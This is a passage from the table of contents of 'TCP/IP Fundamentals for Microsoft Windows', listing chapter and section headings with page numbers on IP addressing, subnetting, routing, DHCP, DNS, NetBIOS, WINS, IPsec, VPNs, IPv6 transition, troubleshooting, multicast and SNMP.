The Ping Tool ............................................................................................................................... 16
Network Monitor ............................................................................................................................... 17
Chapter Summary ................................................................................................................................ 19
Chapter Glossary ................................................................................................................................. 20
Chapter 2 – Architectural Overview of the TCP/IP Protocol Suite .................................................... 23
Chapter Objectives .............................................................................................................................. 24
The TCP/IP Protocol Suite ................................................................................................................... 25
Network Interface Layer ................................................................................................................... 25
Internet Layer ................................................................................................................................... 26
Transport Layer ................................................................................................................................ 26
Application Layer .............................................................................................................................. 27
IPv4 Internet Layer ............................................................................................................................... 28
ARP .................................................................................................................................................. 28
ARP Cache ................................................................................................................................... 28
TCP/IP Fundamentals for Microsoft Windows
Page: ii
ARP Process ................................................................................................................................ 29
Internet Protocol version 4 (IPv4) ..................................................................................................... 30
Fragmentation and Reassembly ................................................................................................... 31
Internet Control Message Protocol (ICMP) ...................................................................................... 31
Internet Group Management Protocol (IGMP) ................................................................................. 32
IPv6 Internet Layer ............................................................................................................................... 34
IPv6 .................................................................................................................................................. 34
IPv6 Extension Headers ............................................................................................................... 35
Fragmentation in IPv6 ................................................................................................................... 35
Internet Control Message Protocol for IPv6 (ICMPv6) ..................................................................... 36
Neighbor Discovery (ND) ................................................................................................................. 37
Address Resolution ....................................................................................................................... 38
Router Discovery .......................................................................................................................... 39
Address Autoconfiguration............................................................................................................ 39
Multicast Listener Discovery (MLD) ................................................................................................. 39
Transmission Control Protocol (TCP) .................................................................................................. 41
TCP Ports ......................................................................................................................................... 41
TCP Three-Way Handshake ............................................................................................................ 42
User Datagram Protocol (UDP) ........................................................................................................... 43
UDP Ports......................................................................................................................................... 43
Packet Multiplexing and Demultiplexing .............................................................................................. 44
Application Programming Interfaces .................................................................................................... 46
Windows Sockets ............................................................................................................................. 46
NetBIOS ........................................................................................................................................... 47
TCP/IP Naming Schemes in Windows ................................................................................................ 48
Host Names ...................................................................................................................................... 48
NetBIOS Names ............................................................................................................................... 48
Chapter Summary ................................................................................................................................ 50
Chapter Glossary ................................................................................................................................. 51
Chapter 3 – IP Addressing .................................................................................................................... 53
Chapter Objectives .............................................................................................................................. 54
IPv4 Addressing ................................................................................................................................... 55
TCP/IP Fundamentals for Microsoft Windows
Page: iii
IPv4 Address Syntax ........................................................................................................................ 55
Converting from Binary to Decimal ............................................................................................... 56
Converting from Decimal to Binary ............................................................................................... 57
IPv4 Address Prefixes ...................................................................................................................... 58
Prefix Length Notation .................................................................................................................. 58
Dotted Decimal Notation ............................................................................................................... 59
Types of IPv4 Addresses ................................................................................................................. 59
IPv4 Unicast Addresses ................................................................................................................... 60
Internet Address Classes .............................................................................................................. 60
Modern Internet Addresses .......................................................................................................... 62
Public Addresses .......................................................................................................................... 63
Illegal Addresses .......................................................................................................................... 63
Private Addresses ......................................................................................................................... 63
Automatic Private IP Addressing .................................................................................................. 64
Special IPv4 Addresses ................................................................................................................ 65
Unicast IPv4 Addressing Guidelines ............................................................................................ 65
IPv4 Multicast Addresses ................................................................................................................. 66
IPv4 Broadcast Addresses ............................................................................................................... 66
IPv6 Addressing ................................................................................................................................... 68
IPv6 Address Syntax ........................................................................................................................ 68
Converting Between Binary and Hexadecimal ............................................................................. 69
Compressing Zeros ...................................................................................................................... 70
IPv6 Address Prefixes ...................................................................................................................... 70
Types of IPv6 Addresses ................................................................................................................. 70
IPv6 Unicast Addresses ................................................................................................................... 71
Global Unicast Addresses ............................................................................................................ 71
Link-Local Addresses ................................................................................................................... 73
Site-Local Addresses .................................................................................................................... 73
Zone IDs for Local-Use Addresses ............................................................................................... 74
Unique Local Addresses ............................................................................................................... 74
Special IPv6 Addresses ................................................................................................................ 75
Transition Addresses .................................................................................................................... 75
TCP/IP Fundamentals for Microsoft Windows
Page: iv
IPv6 Interface Identifiers ................................................................................................................... 76
EUI-64 Address-based Interface Identifiers .................................................................................. 77
IEEE 802 Address Conversion Example ...................................................................................... 79
Temporary Address Interface Identifiers ...................................................................................... 79
IPv6 Multicast Addresses ................................................................................................................. 80
Solicited-Node Multicast Address ................................................................................................. 81
IPv6 Anycast Addresses .................................................................................................................. 82
IPv6 Addresses for a Host ................................................................................................................ 82
IPv6 Addresses for a Router ............................................................................................................ 83
Comparing IPv4 and IPv6 Addressing ................................................................................................. 84
Chapter Summary ................................................................................................................................ 85
Chapter Glossary ................................................................................................................................. 86
Chapter 4 – Subnetting ......................................................................................................................... 89
Chapter Objectives .............................................................................................................................. 90
Subnetting for IPv4 .............................................................................................................................. 91
Determining the Subnet Prefix of an IPv4 Address Configuration ................................................... 92
Prefix Length Notation .................................................................................................................. 93
Subnet Mask Notation .................................................................................................................. 94
Defining a Prefix Length ................................................................................................................... 95
Subnetting Within an Octet ............................................................................................................... 97
Defining the Subnetted Address Prefixes ..................................................................................... 98
Defining the Range of IPv4 Addresses for Each Subnet .............................................................. 99
Subnetting Across an Octet Boundary ........................................................................................... 102
Defining the Subnetted address prefixes .................................................................................... 102
Defining the Range of IPv4 Addresses for Each Subnet ............................................................ 104
Variable Length Subnetting ............................................................................................................ 105
Variable Length Subnetting Example ......................................................................................... 106
Variable Length Subnetting and Routing .................................................................................... 108
Subnetting for IPv6 ............................................................................................................................ 109
Subnetting a Global or Unique Local Address Prefix ..................................................................... 109
Determining the Number of Subnetting Bits ............................................................................... 109
Enumerating Subnetted Address Prefixes .................................................................................. 110
TCP/IP Fundamentals for Microsoft Windows
Page: v
Variable Length Subnetting ............................................................................................................ 113
Chapter Summary .............................................................................................................................. 114
Chapter Glossary ............................................................................................................................... 115
Chapter 5 – IP Routing ........................................................................................................................ 117
Chapter Objectives ............................................................................................................................ 118
IP Routing Overview .......................................................................................................................... 119
Direct and Indirect Delivery ............................................................................................................ 119
IP Routing Table ............................................................................................................................. 120
Routing Table Entries ................................................................................................................. 120
Static and Dynamic Routing ........................................................................................................... 121
Dynamic Routing ........................................................................................................................ 122
Routing Protocol Technologies ................................................................................................... 122
IPv4 Routing ....................................................................................................................................... 124
IPv4 Routing with Windows ............................................................................................................ 124
Contents of the IPv4 Routing Table ............................................................................................ 124
Route Determination Process ..................................................................................................... 125
Determining the Next-Hop Address and Interface ...................................................................... 126
Example Routing Table for an IPv4 Host Running Windows ..................................................... 127
Static IPv4 Routing ......................................................................................................................... 129
Configuring Static IPv4 Routers.................................................................................................. 130
Dynamic IPv4 Routing .................................................................................................................... 130
RIP .............................................................................................................................................. 131
OSPF .......................................................................................................................................... 131
BGP-4 ......................................................................................................................................... 131
Integrating Static and Dynamic Routing ......................................................................................... 132
IPv4 Route Aggregation and Summarization ................................................................................. 133
Route Summarization for Internet Address Classes: Supernetting ............................................ 134
IPv4 Routing Support in Windows .................................................................................................. 135
Static Routing ............................................................................................................................. 135
Dynamic Routing with RIP and OSPF ........................................................................................ 135
Configuring Hosts for IPv4 Routing ................................................................................................ 135
Default Gateway Setting ............................................................................................................. 136
TCP/IP Fundamentals for Microsoft Windows
Page: vi
Default Route Metric ................................................................................................................... 137
ICMP Router Discovery .............................................................................................................. 137
Static Routes .............................................................................................................................. 138
Persistent Static Routes ............................................................................................................. 138
RIP Listener ................................................................................................................................ 138
Routing for Disjoint Networks ......................................................................................................... 138
Network Address Translation ......................................................................................................... 140
How Network Address Translation Works .................................................................................. 141
IPv6 Routing ....................................................................................................................................... 144
IPv6 Routing Tables ....................................................................................................................... 144
IPv6 Routing Table Entry Types ................................................................................................. 144
Route Determination Process ..................................................................................................... 145
Example Windows IPv6 Routing Table ...................................................................................... 145
IPv6 Routing Protocols ................................................................................................................... 147
RIPng for IPv6 ............................................................................................................................ 147
OSPF for IPv6 ............................................................................................................................. 147
Integrated IS-IS for IPv6 ............................................................................................................. 147
BGP-4 ......................................................................................................................................... 148
IPv6 Route Aggregation and Summarization ................................................................................. 148
Windows Support for IPv6 Static Routing ...................................................................................... 149
Configuring Hosts for IPv6 Routing ................................................................................................ 153
Routing Tools ..................................................................................................................................... 154
Chapter Summary .............................................................................................................................. 155
Chapter Glossary ............................................................................................................................... 156
Chapter 6 – Dynamic Host Configuration Protocol .......................................................................... 159
Chapter Objectives ............................................................................................................................ 160
DHCP Overview ................................................................................................................................. 161
Benefits of Using DHCP ................................................................................................................. 162
Configuring TCP/IP Manually ..................................................................................................... 162
Configuring TCP/IP Using DHCP ............................................................................................... 162
How DHCP Works.............................................................................................................................. 163
DHCP Messages and Client States ............................................................................................... 163
TCP/IP Fundamentals for Microsoft Windows
Page: vii
The Initializing State ................................................................................................................... 165
The Selecting State .................................................................................................................... 166
The Requesting State ................................................................................................................. 168
The Bound State ......................................................................................................................... 169
The Renewing State ................................................................................................................... 170
The Rebinding State ................................................................................................................... 171
Restarting a Windows DHCP Client ........................................................................................... 172
The Windows DHCP Server Service ................................................................................................. 174
Installing the DHCP Server Service ............................................................................................... 174
DHCP and Active Directory Integration .......................................................................................... 175
BOOTP Support ............................................................................................................................. 175
DHCP Server Service Configuration .................................................................................................. 176
Properties of the DHCP Server ...................................................................................................... 176
DHCP Scopes ................................................................................................................................ 177
Configuring a DHCP Scope ........................................................................................................ 177
Deploying Multiple DHCP Servers .............................................................................................. 178
Superscopes................................................................................................................................... 179
Options ........................................................................................................................................... 179
Client Reservations ........................................................................................................................ 181
Fault Tolerance for Client Reservations ..................................................................................... 182
DHCP Options Classes .................................................................................................................. 182
Vendor Classes .......................................................................................................................... 183
User Classes .............................................................................................................................. 183
The DHCP Relay Agent ..................................................................................................................... 185
Installing the DHCP Relay Agent ................................................................................................... 185
Address Autoconfiguration for IPv6 ................................................................................................... 187
Autoconfigured Address States ...................................................................................................... 187
Types of Autoconfiguration ............................................................................................................. 188
Autoconfiguration Process ............................................................................................................. 188
DHCPv6 .......................................................................................................................................... 189
DHCPv6 Messages and Message Exchanges ........................................................................... 190
DHCPv6 Support in Windows ........................................................................................................ 192
TCP/IP Fundamentals for Microsoft Windows
Page: viii
Configuring DHCPv6 Scopes and Options ................................................................................. 192
Installing and Configuring the DHCPv6 Relay Agent ................................................................. 193
Using the Ipconfig Tool ...................................................................................................................... 195
Verifying the IP Configuration......................................................................................................... 195
Renewing a Lease .......................................................................................................................... 195
Releasing a Lease .......................................................................................................................... 196
Setting and Displaying the Class ID ............................................................................................... 196
Chapter Summary .............................................................................................................................. 197
Chapter Glossary ............................................................................................................................... 198
Chapter 7 – Host Name Resolution.................................................................................................... 201
Chapter Objectives ............................................................................................................................ 202
TCP/IP Naming Schemes .................................................................................................................. 203
Host Names Defined ...................................................................................................................... 203
Host Name Resolution Process ......................................................................................................... 204
Resolving Names with a Hosts File ................................................................................................ 205
Resolving Names with LLMNR....................................................................................................... 206
Resolving Names with a DNS Server ............................................................................................ 206
Windows Methods of Resolving Host Names ................................................................................ 207
The Hosts File .................................................................................................................................... 208
IPv4 Entries .................................................................................................................................... 208
IPv6 Entries .................................................................................................................................... 209
The DNS Client Resolver Cache ....................................................................................................... 210
Chapter Summary .............................................................................................................................. 212
Chapter Glossary ............................................................................................................................... 213
Chapter 8 – Domain Name System Overview ................................................................................... 215
Chapter Objectives ............................................................................................................................ 216
The Domain Name System ................................................................................................................ 217
DNS Components .......................................................................................................................... 217
DNS Names.................................................................................................................................... 218
Domains and Subdomains ............................................................................................................. 218
DNS Servers and the Internet ........................................................................................................ 219
Zones .............................................................................................................................................. 220
TCP/IP Fundamentals for Microsoft Windows
Page: ix
Name Resolution................................................................................................................................ 222
DNS Name Resolution Example .................................................................................................... 222
Reverse Queries ............................................................................................................................ 223
Reverse Queries for IPv4 Addresses ......................................................................................... 224
Reverse Queries for IPv6 Addresses ......................................................................................... 225
Caching and TTL ............................................................................................................................ 225
Negative Caching ........................................................................................................................... 225
Round Robin Load Balancing ........................................................................................................ 225
Name Server Roles ............................................................................................................................ 227
Forwarders ..................................................................................................................................... 228
Forwarders in Non-exclusive Mode ............................................................................................ 229
Forwarders in Exclusive Mode.................................................................................................... 229
Caching-Only Name Servers.......................................................................................................... 230
Resource Records and Zones ........................................................................................................... 231
Resource Record Format ............................................................................................................... 231
Resource Record Types ................................................................................................................. 232
Delegation and Glue Records..................................................................................................... 232
The Root Hints File ......................................................................................................................... 233
Zone Transfers ................................................................................................................................... 234
Full Zone Transfer .......................................................................................................................... 234
Incremental Zone Transfer ............................................................................................................. 235
DNS Notify ...................................................................................................................................... 235
DNS Dynamic Update ........................................................................................................................ 237
Chapter Summary .............................................................................................................................. 238
Chapter Glossary ............................................................................................................................... 239
Chapter 9 – Windows Support for DNS ............................................................................................. 241
Chapter Objectives ............................................................................................................................ 242
The DNS Client Service ..................................................................................................................... 243
DNS Client Configuration ............................................................................................................... 243
DHCP Configuration of the DNS Client Service ......................................................................... 243
Manual Configuration of the DNS Client Service Using Network Connections .......................... 243
Manual Configuration Using Netsh ............................................................................................. 246
TCP/IP Fundamentals for Microsoft Windows
Page: x
Configuration for Remote Access Clients ................................................................................... 247
Configuration of DNS Settings Using Group Policy .................................................................... 247
Name Resolution Behavior ............................................................................................................. 248
Name Resolution for FQDNs ...................................................................................................... 248
Name Resolution for Single-Label, Unqualified Domain Names ................................................ 248
Name Resolution for Multiple-Label, Unqualified Domain Names ............................................. 249
The DNS Server Service .................................................................................................................... 250
Installing the DNS Server Service .................................................................................................. 251
DNS and Active Directory ............................................................................................................... 252
Active Directory Location Service ............................................................................................... 252
Storage of Zones Integrated with Active Directory ..................................................................... 253
DNS Server Service Configuration .................................................................................................... 255
Properties of the DNS Server ......................................................................................................... 255
Maintaining Zones .......................................................................................................................... 256
Forward Lookup Zones ............................................................................................................... 256
Reverse Lookup Zones ............................................................................................................... 257
Delegation ................................................................................................................................... 258
Zone Transfers ........................................................................................................................... 259
Resource Records .......................................................................................................................... 259
IPv4 Address Records ................................................................................................................ 259
IPv6 Address Records ................................................................................................................ 260
Pointer Records .......................................................................................................................... 260
DNS Traffic Over IPv6 .................................................................................................................... 260
Using Locally Configured Unicast Addresses............................................................................. 260
Using Well-Known Unicast Addresses ....................................................................................... 261
Dynamic Update and Secure Dynamic Update.............................................................................. 261
How Computers Running Windows Update their DNS Names .................................................. 262
DNS Dynamic Update Process .................................................................................................. 263
Configuring DNS Dynamic Update ............................................................................................. 263
Secure Dynamic Update ................................................................................................................ 265
DNS and WINS Integration ............................................................................................................ 265
How WINS Lookup Works .......................................................................................................... 265
TCP/IP Fundamentals for Microsoft Windows
Page: xi
WINS Reverse Lookup ............................................................................................................... 266
Using the Nslookup Tool .................................................................................................................... 267
Nslookup Modes ............................................................................................................................. 267
Nslookup Syntax ............................................................................................................................ 267
Examples of Nslookup Usage ........................................................................................................ 267
Example 1: Nslookup in Interactive Mode .................................................................................. 267
Example 2: Nslookup and Forward Queries ............................................................................... 268
Example 3: Nslookup Forward Query Using Another DNS Server ............................................ 268
Example 4: Nslookup Debug Information ................................................................................... 268
Example 5: Nslookup Reverse Query ........................................................................................ 269
Chapter Summary .............................................................................................................................. 270
Chapter Glossary ............................................................................................................................... 271
Chapter 10 – TCP/IP End-to-End Delivery ......................................................................................... 273
Chapter Objectives ............................................................................................................................ 274
End-to-End IPv4 Delivery Process ..................................................................................................... 275
IPv4 on the Source Host ................................................................................................................ 275
IPv4 on the Router ......................................................................................................................... 276
IPv4 on the Destination Host .......................................................................................................... 279
Step-by-Step IPv4 Traffic Example .................................................................................................... 281
Network Configuration .................................................................................................................... 281
Web Client .................................................................................................................................. 282
Router 1 ...................................................................................................................................... 283
Router 2 ...................................................................................................................................... 283
Router 3 ...................................................................................................................................... 283
DNS Server ................................................................................................................................. 283
Web Server ................................................................................................................................. 283
Web Traffic Example ...................................................................................................................... 284
DNS Name Query Request Message to the DNS Server .......................................................... 284
DNS Name Query Response Message to the Web Client ......................................................... 286
TCP SYN Segment to the Web Server ....................................................................................... 288
TCP SYN-ACK Segment to the Web Client ............................................................................... 290
TCP ACK Segment to the Web Server ....................................................................................... 291
TCP/IP Fundamentals for Microsoft Windows
Page: xii
HTTP Get Message to the Web Server ...................................................................................... 292
HTTP Get-Response Message to the Web Client ...................................................................... 293
End-to-End IPv6 Delivery Process ..................................................................................................... 295
IPv6 on the Source Host ................................................................................................................ 295
IPv6 on the Router ......................................................................................................................... 296
IPv6 on the Destination Host .......................................................................................................... 299
Step-by-Step IPv6 Traffic Example .................................................................................................... 301
Network Configuration .................................................................................................................... 301
Web Client .................................................................................................................................. 302
Router 1 ...................................................................................................................................... 302
Router 2 ...................................................................................................................................... 302
Router 3 ...................................................................................................................................... 302
DNS Server ................................................................................................................................. 303
Web Server ................................................................................................................................. 303
Web Traffic Example ...................................................................................................................... 303
DNS Name Query Request Message to the DNS Server .......................................................... 303
DNS Name Query Response Message to the Web Client ......................................................... 306
TCP SYN-ACK Segment to the Web Client ............................................................................... 309
TCP ACK Segment to the Web Server ....................................................................................... 310
HTTP Get Segment to the Web Server ...................................................................................... 311
HTTP Get-Response Segment to the Web Client ...................................................................... 312
Chapter Summary .............................................................................................................................. 314
Chapter Glossary ............................................................................................................................... 315
Chapter 11 – NetBIOS over TCP/IP .................................................................................................... 317
Chapter Objectives ............................................................................................................................ 318
NetBIOS over TCP/IP Overview ........................................................................................................ 319
Enabling NetBIOS over TCP/IP...................................................................................................... 320
NetBIOS Names ............................................................................................................................. 321
Common NetBIOS Names .......................................................................................................... 322
NetBIOS Name Registration, Resolution, and Release ................................................................. 323
Name Registration ...................................................................................................................... 323
Name Resolution ........................................................................................................................ 323
TCP/IP Fundamentals for Microsoft Windows
Page: xiii
Name Release ............................................................................................................................ 324
Segmenting NetBIOS Names with the NetBIOS Scope ID ............................................................ 324
NetBIOS Name Resolution ................................................................................................................ 326
Resolving Local NetBIOS Names Using a Broadcast .................................................................... 326
Limitations of Broadcasts ............................................................................................................ 327
Resolving Names with a NetBIOS Name Server ........................................................................... 327
Windows Methods of Resolving NetBIOS Names ......................................................................... 327
NetBIOS Node Types ........................................................................................................................ 329
Using the Lmhosts File ...................................................................................................................... 330
Predefined Keywords ..................................................................................................................... 330
Using a Centralized Lmhosts File .................................................................................................. 331
Creating Lmhosts Entries for Specific NetBIOS Names ................................................................ 332
Name Resolution Problems Using Lmhosts ................................................................................... 333
The Nbtstat Tool................................................................................................................................. 334
Chapter Summary .............................................................................................................................. 335
Chapter Glossary ............................................................................................................................... 336
Chapter 12 – Windows Internet Name Service Overview ................................................................ 339
Chapter Objectives ............................................................................................................................ 340
Introduction to WINS .......................................................................................................................... 341
How WINS Works .............................................................................................................................. 342
Name Registration .......................................................................................................................... 342
When a Duplicate Name Is Found .............................................................................................. 342
When WINS Servers are Unavailable ........................................................................................ 343
Name Renewal ............................................................................................................................... 343
Name Refresh Request .............................................................................................................. 343
Name Refresh Response ........................................................................................................... 343
Name Release ................................................................................................................................ 343
Name Resolution ............................................................................................................................ 344
The WINS Client ................................................................................................................................ 345
DHCP Configuration of a WINS Client ........................................................................................... 345
Manual Configuration of the WINS Client Using Network Connections ......................................... 345
Manual Configuration of the WINS Client Using Netsh .................................................................. 346
TCP/IP Fundamentals for Microsoft Windows
Page: xiv
Configuration of the WINS Client for Remote Access Clients ........................................................ 347
The WINS Server Service .................................................................................................................. 348
Installing the WINS Server Service ................................................................................................ 348
Properties of the WINS Server ....................................................................................................... 349
Static Entries for Non-WINS Clients ............................................................................................... 350
Database Replication Between WINS Servers .............................................................................. 351
Push and Pull Operations ........................................................................................................... 353
Configuring a WINS Server as a Push or Pull Partner ............................................................... 354
Configuring Database Replication .............................................................................................. 354
WINS Automatic Replication Partners ........................................................................................ 356
The WINS Proxy ................................................................................................................................ 357
How WINS Proxies Resolve Names .............................................................................................. 357
WINS Proxies and Name Registration ........................................................................................... 358
Configuration of a WINS Proxy ...................................................................................................... 359
Chapter Summary .............................................................................................................................. 360
Chapter Glossary ............................................................................................................................... 361
Chapter 13 – Internet Protocol Security and Packet Filtering ........................................................ 363
Chapter Objectives ............................................................................................................................ 364
IPsec and Packet Filtering Overview ................................................................................................. 365
IPsec .................................................................................................................................................. 366
Security Properties of IPsec-protected Communications ............................................................... 366
IPsec Protocols .............................................................................................................................. 367
IPsec Modes ................................................................................................................................... 367
Transport Mode .......................................................................................................................... 367
Tunnel Mode ............................................................................................................................... 369
Negotiation Phases ........................................................................................................................ 370
Phase I or Main Mode Negotiation ............................................................................................. 371
Phase II or Quick Mode Negotiation ........................................................................................... 372
Connection Security Rules ............................................................................................................. 372
IPsec Policy Settings ...................................................................................................................... 373
General IPsec Policy Settings .................................................................................................... 373
Rules ........................................................................................................................................... 375
TCP/IP Fundamentals for Microsoft Windows
Page: xv
Default Response Rule ............................................................................................................... 376
Filter List ..................................................................................................................................... 376
Filter Settings .............................................................................................................................. 377
Filter Action ................................................................................................................................. 377
IPsec Security Methods .............................................................................................................. 379
Custom Security Methods ........................................................................................................... 380
Authentication ............................................................................................................................. 381
Tunnel Endpoint .......................................................................................................................... 382
Connection Type ......................................................................................................................... 382
IPsec for IPv6 Traffic ...................................................................................................................... 383
Packet Filtering .................................................................................................................................. 384
Windows Firewall ........................................................................................................................... 384
Configuring Rules with the Windows Firewall with Advanced Security Snap-in ........................ 385
Configuring Windows Firewall with Control Panel ...................................................................... 385
How Windows Firewall Works .................................................................................................... 386
Internet Connection Firewall (ICF) ................................................................................................. 387
TCP/IP Filtering .............................................................................................................................. 388
Packet Filtering with Routing and Remote Access ........................................................................ 389
Basic Firewall .............................................................................................................................. 390
IP Packet Filtering ....................................................................................................................... 391
IPv6 Packet Filtering ...................................................................................................................... 392
Windows Firewall ........................................................................................................................ 393
IPv6 Packet Filtering with Routing and Remote Access ............................................................ 393
Basic IPv6 Firewall ..................................................................................................................... 393
IPv6 ICF ...................................................................................................................................... 393
Chapter Summary .............................................................................................................................. 395
Chapter Glossary ............................................................................................................................... 396
Chapter 14 – Virtual Private Networking ........................................................................................... 399
Chapter Objectives ............................................................................................................................ 400
Virtual Private Networking Overview.................................................................................................. 401
Components of a VPN .................................................................................................................... 401
Attributes of a VPN Connection...................................................................................................... 402
TCP/IP Fundamentals for Microsoft Windows
Page: xvi
User Authentication .................................................................................................................... 403
Encapsulation ............................................................................................................................. 403
Encryption ................................................................................................................................... 403
Types of VPN Connections ............................................................................................................ 403
Remote Access ........................................................................................................................... 403
Site-to-Site .................................................................................................................................. 405
VPN Protocols .................................................................................................................................... 407
Point-to-Point Protocol (PPP) ......................................................................................................... 407
Phase 1: PPP Link Establishment .............................................................................................. 407
Phase 2: User Authentication ..................................................................................................... 407
Phase 3: PPP Callback Control .................................................................................................. 409
Phase 4: Invoking Network Layer Protocol(s) ............................................................................ 409
Data-Transfer Phase .................................................................................................................. 409
Point-to-Point Tunneling Protocol (PPTP) ...................................................................................... 409
Layer Two Tunneling Protocol with IPsec (L2TP/IPsec) ................................................................ 410
Secure Socket Tunneling Protocol (SSTP) .................................................................................... 410
Remote Access VPN Connections .................................................................................................... 412
VPN Client Support ........................................................................................................................ 412
Network Connections Folder ...................................................................................................... 412
Connection Manager .................................................................................................................. 412
VPN Server Support ....................................................................................................................... 413
VPN Server Support in Windows Vista ....................................................................................... 414
VPN Server Support in Windows XP .......................................................................................... 415
IP Address Assignment and Routing and Remote Access ............................................................ 415
Obtaining IPv4 Addresses via DHCP ......................................................................................... 415
Obtaining IPv4 Addresses from a Static Address Pool .............................................................. 416
The Process for Setting Up a Remote Access VPN Connection ................................................... 417
Step 1: Logical Link Setup .......................................................................................................... 417
Step 2: PPP Connection Setup .................................................................................................. 419
Step 3: Remote Access VPN Client Registration ....................................................................... 419
Site-to-Site VPN Connections ............................................................................................................ 420
Configuring a Site-to-Site VPN Connection ................................................................................... 421
TCP/IP Fundamentals for Microsoft Windows
Page: xvii
Configuring a Demand-dial Interface .......................................................................................... 421
Connection Example for a Site-to-Site VPN ................................................................................... 422
The Connection Process for Site-to-Site VPNs .............................................................................. 424
Using RADIUS for Network Access Authentication ........................................................................... 425
RADIUS Components .................................................................................................................... 425
Access Clients ............................................................................................................................ 426
Access Servers ........................................................................................................................... 426
RADIUS Servers ......................................................................................................................... 426
User Account Databases ............................................................................................................ 426
RADIUS Proxies ......................................................................................................................... 427
NPS or IAS as a RADIUS Server ................................................................................................... 427
Network and Remote Access Policies ........................................................................................ 429
Network or Remote Access Policy Conditions and Restrictions ................................................ 429
NPS or IAS as a RADIUS Proxy .................................................................................................... 430
Connection Request Processing ................................................................................................ 431
Chapter Summary .............................................................................................................................. 432
Chapter Glossary ............................................................................................................................... 433
Chapter 15 – IPv6 Transition Technologies ...................................................................................... 435
Chapter Objectives ............................................................................................................................ 436
Introduction to IPv6 Transition Technologies ..................................................................................... 437
IPv6 Transition Mechanisms .............................................................................................................. 438
Dual Stack or Dual IP Layer Architectures ..................................................................................... 438
DNS Infrastructure .......................................................................................................................... 439
Address Selection Rules ............................................................................................................. 439
IPv6 Over IPv4 Tunneling .............................................................................................................. 440
Tunneling Configurations ............................................................................................................ 440
Types of Tunnels ........................................................................................................................ 441
ISATAP .............................................................................................................................................. 442
Using an ISATAP Router ................................................................................................................ 443
Resolving the ISATAP Name...................................................................................................... 444
Using the netsh interface isatap set router Command ............................................................... 445
Setting up an ISATAP Router......................................................................................................... 445
TCP/IP Fundamentals for Microsoft Windows
Page: xviii
6to4 .................................................................................................................................................... 446
6to4 Support in Windows ............................................................................................................... 448
Teredo ................................................................................................................................................ 452
Teredo Components ....................................................................................................................... 452
Teredo Addresses .......................................................................................................................... 454
How Teredo Works ......................................................................................................................... 455
Initial Configuration ..................................................................................................................... 455
Initial Communication Between Two Teredo Clients in Different Sites ...................................... 455
Migrating to IPv6 ................................................................................................................................ 458
Chapter Summary .............................................................................................................................. 459
Chapter Glossary ............................................................................................................................... 460
Chapter 16 – Troubleshooting TCP/IP ............................................................................................... 463
Chapter Objectives ............................................................................................................................ 464
Identifying the Problem Source .......................................................................................................... 465
Windows Troubleshooting Tools ........................................................................................................ 466
Troubleshooting IPv4 ......................................................................................................................... 468
Verifying IPv4 Connectivity ............................................................................................................. 468
Repair the Connection ................................................................................................................ 468
Verify Configuration .................................................................................................................... 469
Manage Configuration ................................................................................................................ 469
Verify Reachability ...................................................................................................................... 470
Check Packet Filtering ................................................................................................................ 471
View and Manage the Local IPv4 Routing Table........................................................................ 472
Verify Router Reliability .............................................................................................................. 472
Verifying DNS Name Resolution for IPv4 Addresses .................................................................... 472
Verify DNS Configuration ............................................................................................................ 472
Display and Flush the DNS Client Resolver Cache ................................................................... 473
Test DNS Name Resolution with Ping ........................................................................................ 473
Use the Nslookup Tool to View DNS Server Responses ........................................................... 473
Verifying NetBIOS Name Resolution ............................................................................................. 473
Verify NetBIOS over TCP/IP Configuration ................................................................................ 473
Display and Reload the NetBIOS Name Cache ......................................................................... 474
TCP/IP Fundamentals for Microsoft Windows
Page: xix
Test NetBIOS Name Resolution with Nbtstat ............................................................................. 474
Verifying IPv4-based TCP Sessions .............................................................................................. 474
Check for Packet Filtering ........................................................................................................... 474
Verify TCP Session Establishment ............................................................................................. 475
Verify NetBIOS Sessions ............................................................................................................ 475
Troubleshooting IPv6 ......................................................................................................................... 476
Verifying IPv6 Connectivity ............................................................................................................. 476
Verify Configuration .................................................................................................................... 476
Manage Configuration ................................................................................................................ 477
Verify Reachability ...................................................................................................................... 477
Check Packet Filtering ................................................................................................................ 478
View and Manage the IPv6 Routing Table ................................................................................. 479
Verify Router Reliability .............................................................................................................. 479
Verifying DNS Name Resolution for IPv6 Addresses .................................................................... 479
Verify DNS Configuration ............................................................................................................ 479
Display and Flush the DNS Client Resolver Cache ................................................................... 480
Test DNS Name Resolution with the Ping Tool .......................................................................... 480
Use the Nslookup Tool to View DNS Server Responses ........................................................... 480
Verifying IPv6-based TCP Connections ......................................................................................... 480
Check for Packet Filtering ........................................................................................................... 480
Verify TCP Connection Establishment ....................................................................................... 481
Chapter Summary .............................................................................................................................. 482
Chapter Glossary ............................................................................................................................... 483
Appendix A – IP Multicast ................................................................................................................... 485
Overview of IP Multicast .................................................................................................................... 486
IP Multicast-Enabled Intranet ......................................................................................................... 486
Host Support for IP Multicast ...................................................................................................... 487
Router Support for IP Multicast .................................................................................................. 487
Multicast Addresses ........................................................................................................................... 490
IPv4 Multicast Addresses ............................................................................................................... 490
Mapping IPv4 Multicast to MAC-Layer Multicast ........................................................................ 490
IPv6 Multicast Addresses ............................................................................................................... 491
TCP/IP Fundamentals for Microsoft Windows
Page: xx
Solicited-Node Address .............................................................................................................. 492
Mapping IPv6 Multicast to MAC-Layer Multicast ........................................................................ 493
Multicast Subnet Membership Management .................................................................................. 493
IGMP for IPv4 ............................................................................................................................. 494
MLD for IPv6 ............................................................................................................................... 494
IPv4 Multicast Forwarding Support in Windows Server 2008 and Windows Server 2003 ................ 496
IPv4 Multicast Forwarding .............................................................................................................. 496
IGMP Routing Protocol Component ............................................................................................... 496
IGMP Router Mode ..................................................................................................................... 497
IGMP Proxy Mode ...................................................................................................................... 498
IPv4 Multicast Address Allocation with MADCAP .............................................................................. 500
Using Multicast Scopes .................................................................................................................. 500
Reliable Multicast with Pragmatic General Multicast (PGM) ............................................................. 502
PGM Overview ............................................................................................................................... 502
Adding and Using the Reliable Multicast Protocol ......................................................................... 503
Adding the Reliable Multicast Protocol ....................................................................................... 503
Writing PGM-enabled Applications ............................................................................................. 503
How PGM and the Reliable Multicast Protocol Works ................................................................... 503
Appendix B – Simple Network Management Protocol ..................................................................... 505
SNMP Overview ................................................................................................................................. 506
The Management Information Base ............................................................................................... 507
The Hierarchical Name Tree ....................................................................................................... 507
SNMP Messages ............................................................................................................................ 508
SNMP Communities ....................................................................................................................... 509
How SNMP Works .......................................................................................................................... 510
Windows SNMP Service .................................................................................................................... 512
Installing and Configuring the SNMP Service ................................................................................ 513
Agent Tab ................................................................................................................................... 513
Traps Tab.................................................................................................................................... 514
Security Tab ................................................................................................................................ 514
Evntcmd Tool.................................................................................................................................. 515
